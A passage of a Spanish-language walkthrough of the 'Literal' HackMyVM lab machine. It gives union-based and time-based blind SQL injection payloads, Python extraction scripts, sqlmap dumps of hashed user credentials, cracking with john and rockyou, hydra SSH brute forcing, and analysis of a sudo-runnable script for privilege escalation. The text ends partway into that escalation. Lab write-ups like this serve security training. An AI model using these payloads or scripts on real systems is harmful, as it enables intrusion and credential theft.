Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos solo 2 puertos abiertos, donde corren los servicios ssh
y http
❯ nmap 192.168.100.87
Nmap scan report for 192.168.100.87
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Tramitando una simple petición con curl
hacia la web, en las cabeceras
de respuesta podemos encontrar que la web nos redirige al dominio blog.literal.hmv
❯ curl 192.168.100.87 -I
HTTP/1.1 301 Moved Permanently
Date: Fri, 05 May 2023 04:28:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://blog.literal.hmv
Content-Type: text/html; charset=iso-8859-1
Ya que estamos en local debemos agregar el dominio
junto con la ip al archivo /etc/hosts
para al apuntar a el la máquina local sepa a donde resolver
❯ echo "192.168.100.87 blog.literal.hmv" | sudo tee -a /etc/hosts
Al abrir la página web desde el dominio
nos encontramos con algunas pestañas
Podemos ver la pestaña login
la cual al abrirla nos lleva a un panel de autenticación y aunque no tenemos credenciales
podemos darle clic al botón Sign Up
Podemos registrar
un usuario nuevo, en este caso usaremos testing
tanto con el usuario como con la contraseña, volvemos al login
e iniciamos sesión con el
Al autenticarnos podemos ver un dashboard
ademas algunos botones, uno de ellos es para ver la lista de los proyectos
en los que esta trabajando el usuario
Podemos ver una tabla y filtrar
en la barra por el estado
del proyecto, cualquiera de los que esta a la derecha deberia funcionar, en este caso podemos usar Done
SQL Injection - Union Based
Después de un rato notamos una inyección sql
, despues de iterar sobre varias columnas
podemos ver que existen las 5
que se ven reflejadas
en la web
' union select 1,2,3,4,5-- -
Podemos usar cualquier columna para la sqli
en este caso la 2 para en ella con database()
nos devuelva el nombre de la base de datos
actualmente en uso
' union select 1,database(),3,4,5-- -
La base de datos en uso es blog
, podemos enumerar todas las bases de datos existentes
, sin embargo no hay mas que las bases de datos por defecto
de mysql
' union select 1,schema_name,3,4,5 from information_schema.schemata-- -
Ahora enumeramos los nombres de las tablas
que existen en la base de datos blog
, una almacena los proyectos
la que nos podria interesar es la tabla users
' union select 1,table_name,3,4,5 from information_schema.tables where table_schema='blog'-- -
Ahora que sabemos que existe, enumeramos las columnas
existentes especificando la tabla users
de la base de datos blog
, encontramos 5
columnas en total
' union select 1,column_name,3,4,5 from information_schema.columns where table_schema='blog' and table_name='users'-- -
Podemos usar una columna
para cada existente y asi ver reflejados
todos los datos en la tabla users
, esto incluye usuarios
, identificadores y sus respectivos hashes
' union select usercreatedate,useremail,userid,username,userpassword from users-- -
Otra forma es con sqlmap
, con burpsuite
interceptamos la petición para ver como se tramita, esto incluye la data
enviada por POST y la cookie
que necesitamos
Ahora con sqlmap
definimos la petición indicando como se tramita la data
y la cookie
del usuario, con el parametro -dbs
podemos enumerar las bases de datos
❯ sqlmap --batch --url http://blog.literal.hmv/next_projects_to_do.php --cookie PHPSESSID=t77t8gmfi9j2mhlp1f2i14rblu --data sentence-query=Done -dbs
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[23:08:02] [INFO] resuming back-end DBMS 'mysql'
[23:08:02] [INFO] testing connection to the target URL
[23:08:02] [INFO] the back-end DBMS is MySQL
[23:08:02] [INFO] fetching database names
available databases [4]:
[*] blog
[*] information_schema
[*] mysql
[*] performance_schema
Podemos ver todas, con el parametro -D
indicamos la base de datos blog
y usando -tables
podemos dumpear las tablas
existentes de la base de datos indicada
❯ sqlmap --batch --url http://blog.literal.hmv/next_projects_to_do.php --cookie PHPSESSID=t77t8gmfi9j2mhlp1f2i14rblu --data sentence-query=Done -D blog -tables
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[23:08:03] [INFO] resuming back-end DBMS 'mysql'
[23:08:03] [INFO] testing connection to the target URL
[23:08:03] [INFO] the back-end DBMS is MySQL
[23:08:03] [INFO] fetching tables for database: 'blog'
Database: blog
[2 tables]
+----------+
| projects |
| users |
+----------+
Indicamos con -T
la tabla users
existente y usando el parametro -dump
podemos dumpear absolutamente todo el contenido
de todas las columnas existentes
❯ sqlmap --batch --url http://blog.literal.hmv/next_projects_to_do.php --cookie PHPSESSID=t77t8gmfi9j2mhlp1f2i14rblu --data sentence-query=Done -D blog -T users -dump
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[23:08:04] [INFO] resuming back-end DBMS 'mysql'
[23:08:04] [INFO] testing connection to the target URL
[23:08:04] [INFO] the back-end DBMS is MySQL
[23:08:04] [INFO] fetching entries for table 'users' in database 'blog'
Database: blog
Table: users
[18 entries]
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+
| userid | username | useremail | userpassword | usercreatedate |
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+
| 1 | test | test@blog.literal.htb | $2y$10$wWhvCz1pGsKm..jh/lChIOA7aJoZRAil40YKlGFiw6B.6a77WzNma | 2023-04-07 17:21:47 |
| 2 | admin | admin@blog.literal.htb | $2y$10$fjNev2yv9Bi1IQWA6VOf9Owled5hExgUZNoj8gSmc7IdZjzuOWQ8K | 2023-04-07 17:21:47 |
| 3 | carlos | carlos@blog.literal.htb | $2y$10$ikI1dN/A1lhkKLmiKl.cJOkLiSgPUPiaRoopeqvD/.p.bh0w.bJBW | 2023-04-07 17:21:48 |
| 4 | freddy123 | freddy123@zeeli.moc | $2y$10$yaf9nZ6UJkf8103R8rMdtOUC.vyZUek4vXVPas3CPOb4EK8I6eAUK | 2023-04-07 17:21:48 |
| 5 | jorg3_M | jorg3_M@zeeli.moc | $2y$10$lZ./Zflz1EEFdYbWp7VUK.415Ni8q9kYk3LJ2nF0soRJG1RymtDzG | 2023-04-07 17:21:48 |
| 6 | aNdr3s1to | aNdr3s1to@puertonacional.ply | $2y$10$F2Eh43xkXR/b0KaGFY5MsOwlnh4fuEZX3WNhT3PxSw.6bi/OBA6hm | 2023-04-07 17:21:48 |
| 7 | kitty | kitty@estadodelarte.moc | $2y$10$rXliRlBckobgE8mJTZ7oXOaZr4S2NSwqinbUGLcOfCWDra6v9bxcW | 2023-04-07 17:21:48 |
| 8 | walter | walter@forumtesting.literal.hmv | $2y$10$er9GaSRv1AwIwu9O.tlnnePNXnzDfP7LQMAUjW2Ca1td3p0Eve6TO | 2023-04-07 17:21:48 |
| 9 | estefy | estefy@caselogic.moc | $2y$10$hBB7HeTJYBAtdFn7Q4xzL.WT3EBMMZcuTJEAvUZrRe.9szCp19ZSa | 2023-04-07 17:21:48 |
| 10 | michael | michael@without.you | $2y$10$sCbKEWGgAUY6a2Y.DJp8qOIa250r4ia55RMrDqHoRYU3Y7pL2l8Km | 2023-04-07 17:21:48 |
| 11 | r1ch4rd | r1ch4rd@forumtesting.literal.hmv | $2y$10$7itXOzOkjrAKk7Mp.5VN5.acKwGi1ziiGv8gzQEK7FOFLomxV0pkO | 2023-04-07 17:21:48 |
| 12 | fel1x | fel1x@without.you | $2y$10$o06afYsuN8yk0yoA.SwMzucLEavlbI8Rl43.S0tbxL.VVSbsCEI0m | 2023-04-07 17:21:48 |
| 13 | kelsey | kelsey@without.you | $2y$10$vxN98QmK39rwvVbfubgCWO9W2alVPH4Dp4Bk7DDMWRvfN995V4V6. | 2023-04-07 17:21:48 |
| 14 | jtx | jtx@tiempoaltiempo.hy | $2y$10$jN5dt8syJ5cVrlpotOXibeNC/jvW0bn3z6FetbVU/CeFtKwhdhslC | 2023-04-07 17:21:48 |
| 15 | DRphil | DRphil@alcaldia-tol.gob | $2y$10$rW58MSsVEaRqr8uIbUeEeuDrYB6nmg7fqGz90rHYHYMt2Qyflm1OC | 2023-04-07 17:21:48 |
| 16 | carm3N | carm3N@estadodelarte.moc | $2y$10$D7uF6dKbRfv8U/M/mUj0KujeFxtbj6mHCWT5SaMcug45u7lo/.RnW | 2023-04-07 17:21:48 |
| 17 | lanz | lanz@literal.htb | $2y$10$PLGN5.jq70u3j5fKpR8R6.Zb70So/8IWLi4e69QqJrM8FZvAMf..e | 2023-04-07 17:55:36 |
| 18 | testing | test@test.test | $2y$10$tUnS0IJxE2pxC2qmusgp4uLhWtoLWFZKlO0lFOKQwZEsrajti7cbC | 2023-04-20 22:59:43 |
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+
Guardamos los hashes
en un archivo y con john
aplicamos fuerza bruta, aunque podemos conseguir varias credenciales
el proceso es demasiado tardado
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 18 password hashes with 18 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789 (freddy123)
butterfly (estefy)
monica (r1ch4rd)
hellokitty (kitty)
50cent (DRphil)
slipknot (jorg3_M)
michael1 (michael)
147258369 (fel1x)
kelsey (kelsey)
741852963 (walter)
zxcvbnm,./ (jtx)
carlos12 (carlos)
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
Esto nos deja varias credenciales
, las guardamos en un archivo y con hydra
aplicamos fuerza bruta contra ssh
, sin embargo no conseguimos ninguna válida
❯ cat credentials
carlos:carlos12
freddy123:123456789
jorg3_M:slipknot
kitty:hellokitty
walter:741852963
estefy:butterfly
michael:michael1
r1ch4rd:monica
fel1x:147258369
kelsey:kelsey
jtx:zxcvbnm,./
DRphil:50cent
❯ hydra -C credentials ssh://192.168.100.87
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries
[DATA] attacking ssh://192.168.100.87:22/
1 of 1 target completed, 0 valid password found
ydra (https://github.com/vanhauser-thc/thc-hydra) finished
SQL Injection - Time Based
Si miramos los correos
que dumpeamos mediante la inyección sql
podemos ver un nuevo subdominio
, el cual es forumtesting.literal.hmv
asi que lo agregamos
walter@forumtesting.literal.hmv
❯ echo "192.168.100.87 forumtesting.literal.hmv" | sudo tee -a /etc/hosts
Podemos ver una página de categorias
donde al ver los detalles
del foro nos envia a una nueva página, la cual se gestiona mediante el parametro category_id
Aqui también encontramos una inyección
sql pero esta vez blind
basada en tiempo
, al pasarle como parametro 2 and sleep(5)-- -
tarda 5 segundos
Podemos aplicar una comparación con substr
para mediante un if
decirle que si la primera posición
del resultado de database()
es a
tarde 5
segundos
2 and if(substr(database(),1,1)='a', sleep(5),1)-- -
Al cambiar la primera
letra de la comparación por f
, esta se cumple y tarda 5
segundos en responder, quiere decir que la primera letra de la base de datos
es f
Siguiendo esa logica podemos automatizar todo en un script
de python, el que itere
sobre los caracteres
y las posiciones
, cuando el tiempo de respuesta
de la petición sea mayor a 1
segundo el caracter actual se sumara
al valor final
#!/usr/bin/python3
from pwn import log
import string, requests, time
characters = string.ascii_lowercase + string.punctuation
bar = log.progress("Database")
value = "\n\033[0;37m[\033[0;34m*\033[0;37m] "
for position in range(0,20):
for character in characters:
query = f"2 and if(substr((select database()),{position},1)='{character}',sleep(2),1)-- -"
time_start = time.time()
requests.get("http://forumtesting.literal.hmv/category.php?category_id=" + query)
time_end = time.time()
if (time_end - time_start) > 1:
value += character
bar.status(value)
bar.success(value)
Corremos el script
y podemos ver que el caracter +
lo toma como positivo
cuando probablemente no lo es, asi que modificamos el script para quitarlo
❯ python3 exploit.py
[┐] Database:
[*] +foru
characters = string.ascii_lowercase + string.punctuation
characters = characters.replace("+","")
Ejecutamos de nuevo el script
y ahora conseguimos el nombre
completo de la base de datos
actualmente en uso, que esta vez es forumtesting
❯ python3 exploit.py
[+] Database:
[*] forumtesting
Ahora en lugar de database()
seleccionaremos el schema_name
también iteraremos
sobre otro rango
del 0 al 5 para iterar sobre todos los resultados
#!/usr/bin/python3
from pwn import log
import string, requests, time
characters = string.ascii_lowercase + string.punctuation
characters = characters.replace("+","")
bar = log.progress("Database")
value = ""
for db in range(0,5):
value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
for position in range(0,20):
for character in characters:
query = f"2 and if(substr((select schema_name from information_schema.schemata limit {db},1),{position},1)='{character}',sleep(2),1)-- -"
time_start = time.time()
requests.get("http://forumtesting.literal.hmv/category.php?category_id=" + query)
time_end = time.time()
if (time_end - time_start) > 1:
value += character
bar.status(value)
bar.success(value)
Ejecutamos el script y obtenemos todas
las bases de datos existentes, de nuevo podemos ver bases de datos por defecto
asi que seguiremos con forumtesting
❯ python3 exploit.py
[+] Databases:
[*] information_schema
[*] performance_schema
[*] forumtesting
Ahora modificaremos el script prara iterar
no sobres las bases de datos si no por las tablas
, seleccionando table_name
donde la base de datos sea forumtesting
#!/usr/bin/python3
from pwn import log
import string, requests, time
characters = string.ascii_lowercase + string.punctuation
characters = characters.replace("+","")
bar = log.progress("Tables")
value = ""
for table in range(0,5):
value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
for position in range(0,20):
for character in characters:
query = f"2 and if(substr((select table_name from information_schema.tables where table_schema='forumtesting' limit {table},1),{position},1)='{character}',sleep(2),1)-- -"
time_start = time.time()
requests.get("http://forumtesting.literal.hmv/category.php?category_id=" + query)
time_end = time.time()
if (time_end - time_start) > 1:
value += character
bar.status(value)
bar.success(value)
Al ejecutarlo obtenemos todas las tablas
existentes en la base de datos forumtesting
, en total encontramos 5
de ellas, aunque no todas son interesantes
❯ python3 exploit.py
[+] Tables:
[*] forum_category
[*] forum_owner
[*] forum_posts
[*] forum_topics
[*] forum_users
En el script crearemos una lista
con las tablas
para despues iterar sobre cada una de ellas y seleccionando colum_name
dumpear las columnas
de todas ellas
#!/usr/bin/python3
from pwn import log
import string, requests, time
characters = string.ascii_lowercase + string.punctuation
characters = characters.replace("+","")
tables = ["forum_category", "forum_owner", "forum_posts", "forum_topics", "forum_users"]
for table in tables:
print("\r")
bar = log.progress(f"Dumpeando columnas de {table}")
value = ""
for column in range(0,6):
value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
for position in range(0,20):
for character in characters:
query = f"2 and if(substr((select column_name from information_schema.columns where table_schema='forumtesting' and table_name='{table}' limit {column},1),{position},1)='{character}',sleep(2),1)-- -"
time_start = time.time()
requests.get("http://forumtesting.literal.hmv/category.php?category_id=" + query)
time_end = time.time()
if (time_end - time_start) > 1:
value += character
bar.status(value)
bar.success(value)
Ejecutamos y podemos ver las columnas
de todas las tablas, realmente solo hay 2
que nos podrian interesar y estas son las tablas forum_owner
y forum_users
❯ python3 exploit.py
[+] Dumpeando columnas de forum_category:
[*] category_id
[*] description
[*] name
[+] Dumpeando columnas de forum_owner:
[*] created
[*] email
[*] id
[*] password
[*] username
[+] Dumpeando columnas de forum_posts:
[*] created
[*] message
[*] name
[*] post_id
[*] topic_id
[*] user_id
[+] Dumpeando columnas de forum_topics:
[*] category_id
[*] created
[*] subject
[*] topic_id
[*] user_id
[+] Dumpeando columnas de forum_users:
[*] email
[*] name
[*] password
[*] user_id
[*] username
Iniciamos con la tabla forum_owner
, creamos una lista con sus columnas
e iterando sobre cada una de ellas en la tabla users
de la database, obtenemos sus valores
#!/usr/bin/python3
from pwn import log
import string, requests, time
characters = string.ascii_lowercase + string.punctuation + string.digits
characters = characters.replace("+","")
columns = ["created", "email", "id", "username", "password"]
for column in columns:
print("\r")
bar = log.progress(f"Dumpeando columna {column}")
value = ""
for dump in range(0,2):
value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
for position in range(0,32):
for character in characters:
query = f"2 and if(substr((select {column} from forum_owner limit {dump},1),{position},1)='{character}',sleep(2),1)-- -"
time_start = time.time()
requests.get("http://forumtesting.literal.hmv/category.php?category_id=" + query)
time_end = time.time()
if (time_end - time_start) > 1:
value += character
bar.status(value)
bar.success(value)
Al ejecutarlo obtenemos todos los datos de la tabla forum_owner
, sin embargo parece que la columna password
esta limitandose por el rango
de solo 32
❯ python3 exploit.py
[+] Dumpeando columna created:
[*] 2022-02-12
[+] Dumpeando columna email:
[*] carlos@forumtesting.literal.htb
[+] Dumpeando columna id:
[*] 1
[+] Dumpeando columna username:
[*] carlos
[+] Dumpeando columna password:
[*] 6705fe62010679f04257358241792b4
Eliminamos todas las demas columnas para quedarnos solo con password
y cambiamos el rango de 32
caracteres a 130
, ejecutamos y obtenemos el hash
columns = ["password"]
.....................................
for position in range(0,130):
❯ python3 exploit.py
[+] Dumpeando columna password:
[*] 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99
Nuevamente esto pudimos hacerlo con sqlmap
, con el parametro -dbs
obtenemos todas las bases de datos
existentes, entre ellas la que usamos forumtesting
❯ sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -dbs
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[23:10:04] [INFO] resuming back-end DBMS 'mysql'
[23:10:04] [INFO] testing connection to the target URL
[23:10:04] [INFO] the back-end DBMS is MySQL
[23:10:04] [INFO] fetching database names
[23:10:04] [INFO] fetching number of databases
[23:10:04] [INFO] retrieved: 3
[23:10:04] [INFO] retrieved: information_schema
[23:10:04] [INFO] retrieved: performance_schema
[23:10:04] [INFO] retrieved: forumtesting
available databases [3]:
[*] forumtesting
[*] information_schema
[*] performance_schema
Ahora con -tables
dumpearemos todas las tablas
de la base de datos forumtesting
, esto nos dejara las tablas entre ellas forum_owner
que nos interesa
❯ sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -D forumtesting -tables
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[23:10:05] [INFO] resuming back-end DBMS 'mysql'
[23:10:05] [INFO] testing connection to the target URL
[23:10:05] [INFO] the back-end DBMS is MySQL
[23:10:04] [INFO] fetching tables for database: 'forumtesting'
[23:10:04] [INFO] fetching number of tables for database 'forumtesting'
[23:10:04] [INFO] resumed: 5
[23:10:04] [INFO] resumed: forum_category
[23:10:04] [INFO] resumed: forum_owner
[23:10:04] [INFO] resumed: forum_posts
[23:10:04] [INFO] resumed: forum_topics
[23:10:04] [INFO] resumed: forum_users
Database: forumtesting
[5 tables]
+----------------+
| forum_category |
| forum_owner |
| forum_posts |
| forum_topics |
| forum_users |
+----------------+
Simplemente con el parametro -dump
dumpeamos todo el contenido
de las columnas
de la tabla forum_owner
de la base de datos forumtesting
❯ sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -D forumtesting -T forum_owner -dump
___
__H__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[23:10:05] [INFO] resuming back-end DBMS 'mysql'
[23:10:05] [INFO] testing connection to the target URL
[23:10:05] [INFO] the back-end DBMS is MySQL
[23:10:05] [INFO] fetching columns for table 'forum_owner' in database 'forumtesting'
[23:10:05] [INFO] resumed: 5
[23:10:05] [INFO] resumed: created
[23:10:05] [INFO] resumed: email
[23:10:05] [INFO] resumed: id
[23:10:05] [INFO] resumed: password
[23:10:05] [INFO] resumed: username
[23:10:05] [INFO] fetching entries for table 'forum_owner' in database 'forumtesting'
[23:10:05] [INFO] fetching number of entries for table 'forum_owner' in database 'forumtesting'
[23:10:05] [INFO] resumed: 1
[23:10:05] [INFO] resumed: 2022-02-12
[23:10:05] [INFO] resumed: carlos@forumtesting.literal.htb
[23:10:05] [INFO] resumed: 1
[23:10:05] [INFO] resumed: 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99
[23:10:05] [INFO] resumed: carlos
Database: forumtesting
Table: forum_owner
[1 entry]
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
| id | email | created | password | username |
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
| 1 | carlos@forumtesting.literal.htb | 2022-02-12 | 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99 | carlos |
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
Aplicando fuerza bruta al hash con john
obtenemos la contraseña de carlos
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash --format=Raw-SHA512
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 128/128 XOP 2x])
Warning: poor OpenMP scalability for this hash type, consider --fork=3
Press 'q' or Ctrl-C to abort, almost any other key for status
forum100889 (carlos)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Sin embargo al comprobar las credenciales
con hydra
hacia la maquina victima, igual que antes esta contraseña
no es válida para ssh
como el usuario carlos
❯ hydra -l carlos -p forum100889 ssh://192.168.100.87
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1)
[DATA] attacking ssh://192.168.100.87:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished
Shell - carlos
Aunque tarde bastante en llegar a esta conclusión, sabemos que la contraseña forum100889
es valida para el forum
, asi que tal vez use ssh100889
para ssh
forum100889 --> forum
ssh100889 --> ssh
Comprobamos con hydra
y esta contraseña es válida
para el usuario carlos
❯ hydra -l carlos -p ssh100889 ssh://192.168.100.87
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1)
[DATA] attacking ssh://192.168.100.87:22/
[22][ssh] host: 192.168.100.87 login: carlos password: ssh100889
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished
Simplemente nos conectamos por ssh
y obtenemos la primera flag
de la máquina
❯ ssh carlos@192.168.100.87
carlos@192.168.100.87's password: ssh100889
carlos@literal:~$ id
uid=1000(carlos) gid=1000(carlos) groups=1000(carlos)
carlos@literal:~$ hostname -I
192.168.100.87
carlos@literal:~$ cat user.txt
6d3**************************222
carlos@literal:~$
Shell - root
Si miramos privilegios a nivel de sudoers
, podemos ejecutar como root
un script en python
con cualquier argumento
, tenemos capacidad de lectura
sobre script
carlos@literal:~$ sudo -l
Matching Defaults entries for carlos on literal:
secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin\:/snap/bin
User carlos may run the following commands on literal:
(root) NOPASSWD: /opt/my_things/blog/update_project_status.py *
carlos@literal:~$
carlos@literal:~$ cat /opt/my_things/blog/update_project_status.py
#!/usr/bin/python3
# Learning python3 to update my project status
## (mental note: This is important, so administrator is my safe to avoid upgrading records by mistake) :P
'''
References:
* MySQL commands in Linux: https://www.shellhacks.com/mysql-run-query-bash-script-linux-command-line/
* Shell commands in Python: https://stackabuse.com/executing-shell-commands-with-python/
* Functions: https://www.tutorialspoint.com/python3/python_functions.htm
* Arguments: https://www.knowledgehut.com/blog/programming/sys-argv-python-examples
* Array validation: https://stackoverflow.com/questions/7571635/fastest-way-to-check-if-a-value-exists-in-a-list
* Valid if root is running the script: https://stackoverflow.com/questions/2806897/what-is-the-best-way-for-checking-if-the-user-of-a-script-has-root-like-privileg
'''
import os
import sys
from datetime import date
# Functions ------------------------------------------------.
def execute_query(sql):
os.system("mysql -u " + db_user + " -D " + db_name + " -e \"" + sql + "\"")
# Query all rows
def query_all():
sql = "SELECT * FROM projects;"
execute_query(sql)
# Query row by ID
def query_by_id(arg_project_id):
sql = "SELECT * FROM projects WHERE proid = " + arg_project_id + ";"
execute_query(sql)
# Update database
def update_status(enddate, arg_project_id, arg_project_status):
if enddate != 0:
sql = f"UPDATE projects SET prodateend = '" + str(enddate) + "', prostatus = '" + arg_project_status + "' WHERE proid = '" + arg_project_id + "';"
else:
sql = f"UPDATE projects SET prodateend = '2222-12-12', prostatus = '" + arg_project_status + "' WHERE proid = '" + arg_project_id + "';"
execute_query(sql)
# Main program
def main():
# Fast validation
try:
arg_project_id = sys.argv[1]
except:
arg_project_id = ""
try:
arg_project_status = sys.argv[2]
except:
arg_project_status = ""
if arg_project_id and arg_project_status: # To update
# Avoid update by error
if os.geteuid() == 0:
array_status = ["Done", "Doing", "To do"]
if arg_project_status in array_status:
print("[+] Before update project (" + arg_project_id + ")\n")
query_by_id(arg_project_id)
if arg_project_status == 'Done':
update_status(date.today(), arg_project_id, arg_project_status)
else:
update_status(0, arg_project_id, arg_project_status)
else:
print("Bro, avoid a fail: Done - Doing - To do")
exit(1)
print("\n[+] New status of project (" + arg_project_id + ")\n")
query_by_id(arg_project_id)
else:
print("Ejejeeey, avoid mistakes!")
exit(1)
elif arg_project_id:
query_by_id(arg_project_id)
else:
query_all()
# Variables ------------------------------------------------.
db_user = "carlos"
db_name = "blog"
# Main program
main()
carlos@literal:~$
El funcionamiento del programa es relativamente sencillo, al ejecutarlo sin ningun argumento
simplemente nos lista todas las columnas
de la tabla projects
carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py
+-------+--------------------------------------------------------------+---------------------+------------+-----------+
| proid | proname | prodatecreated | prodateend | prostatus |
+-------+--------------------------------------------------------------+---------------------+------------+-----------+
| 1 | Ascii Art Python - ABCdario with colors | 2021-09-20 17:51:59 | 2021-09-20 | Done |
| 2 | Ascii Art Python - Show logos only with letter A | 2021-09-20 18:06:22 | 2222-12-12 | To do |
| 3 | Ascii Art Bash - Show musical stores (WTF) | 2021-09-20 18:06:50 | 2222-12-12 | To do |
| 4 | Forum - Add that people can send me bug reports of projects | 2023-04-07 17:40:41 | 2023-11-01 | Doing |
| 5 | Validate syntax errors on blog pages | 2021-09-20 18:07:43 | 2222-12-12 | Doing |
| 6 | Script to extract info from files and upload it to any DB | 2021-09-20 18:07:58 | 2222-12-12 | Doing |
| 7 | Forum - Implement forum form | 2023-04-07 17:46:38 | 2023-11-01 | Doing |
| 8 | Add that people can create their own projects on DB | 2021-09-20 18:49:52 | 2222-12-12 | To do |
| 9 | Ascii Art C - Start learning Ascii Art with C | 2021-09-20 18:50:02 | 2222-12-12 | To do |
| 10 | Ascii Art Bash - Welcome banner preview in blog home | 2021-09-20 18:50:08 | 2222-12-12 | To do |
| 11 | Blog - Create login and register form | 2023-04-07 17:40:28 | 2023-08-21 | Done |
| 12 | Blog - Improve the appearance of the dashboard/projects page | 2021-09-20 18:50:18 | 2222-12-12 | Doing |
+-------+--------------------------------------------------------------+---------------------+------------+-----------+
carlos@literal:~$
Lo que hace con el primer
argumento es listar todas las columnas
de la tabla projects
pero donde el proid
sea igual al argumento
que en este caso es 1
carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py 1
+-------+-----------------------------------------+---------------------+------------+-----------+
| proid | proname | prodatecreated | prodateend | prostatus |
+-------+-----------------------------------------+---------------------+------------+-----------+
| 1 | Ascii Art Python - ABCdario with colors | 2023-05-05 05:04:56 | 2023-05-05 | Done |
+-------+-----------------------------------------+---------------------+------------+-----------+
carlos@literal:~$
El segundo
argumento actualiza el valor prostatus
del proid
seleccionado en el primer argumento a cualquiera de los siguientes valores, Done
, Doing
y To do
carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py 1 "To do"
[+] Before update project (1)
+-------+-----------------------------------------+---------------------+------------+-----------+
| proid | proname | prodatecreated | prodateend | prostatus |
+-------+-----------------------------------------+---------------------+------------+-----------+
| 1 | Ascii Art Python - ABCdario with colors | 2023-05-05 05:05:28 | 2023-05-05 | Done |
+-------+-----------------------------------------+---------------------+------------+-----------+
[+] New status of project (1)
+-------+-----------------------------------------+---------------------+------------+-----------+
| proid | proname | prodatecreated | prodateend | prostatus |
+-------+-----------------------------------------+---------------------+------------+-----------+
| 1 | Ascii Art Python - ABCdario with colors | 2023-05-05 05:05:42 | 2222-12-12 | To do |
+-------+-----------------------------------------+---------------------+------------+-----------+
carlos@literal:~$
La vulnerabilidad salta a la vista, el primer argumento
se guarda en arg_project_id
que se ejecuta en una query sql
sin mas, en pocas palabras ejecutaria algo asi
def main():
# Fast validation
try:
arg_project_id = sys.argv[1]
except:
arg_project_id = ""
def query_by_id(arg_project_id):
sql = "SELECT * FROM projects WHERE proid = " + arg_project_id + ";"
execute_query(sql)
SELECT * FROM projects WHERE proid = sys.argv[1];
En la ayuda de mysql
, podemos ver que hay un parametro para ejecutar comandos
el cual es \!
podemos ejecutar un simple id
para comprobarlo, lo ejecuta carlos
carlos@literal:~$ mysql
mysql> \h
For information about MySQL products and services, visit:
http://www.mysql.com/
For developer information, including the MySQL Reference Manual, visit:
http://dev.mysql.com/
To buy MySQL Enterprise support, training, or other products, visit:
https://shop.mysql.com/
List of all MySQL commands:
Note that all text commands must be first on line and end with ';'
? (\?) Synonym for `help'.
clear (\c) Clear the current input statement.
connect (\r) Reconnect to the server. Optional arguments are db and host.
delimiter (\d) Set statement delimiter.
edit (\e) Edit command with $EDITOR.
ego (\G) Send command to mysql server, display result vertically.
exit (\q) Exit mysql. Same as quit.
go (\g) Send command to mysql server.
help (\h) Display this help.
nopager (\n) Disable pager, print to stdout.
notee (\t) Don't write into outfile.
pager (\P) Set PAGER [to_pager]. Print the query results via PAGER.
print (\p) Print current command.
prompt (\R) Change your mysql prompt.
quit (\q) Quit mysql.
rehash (\#) Rebuild completion hash.
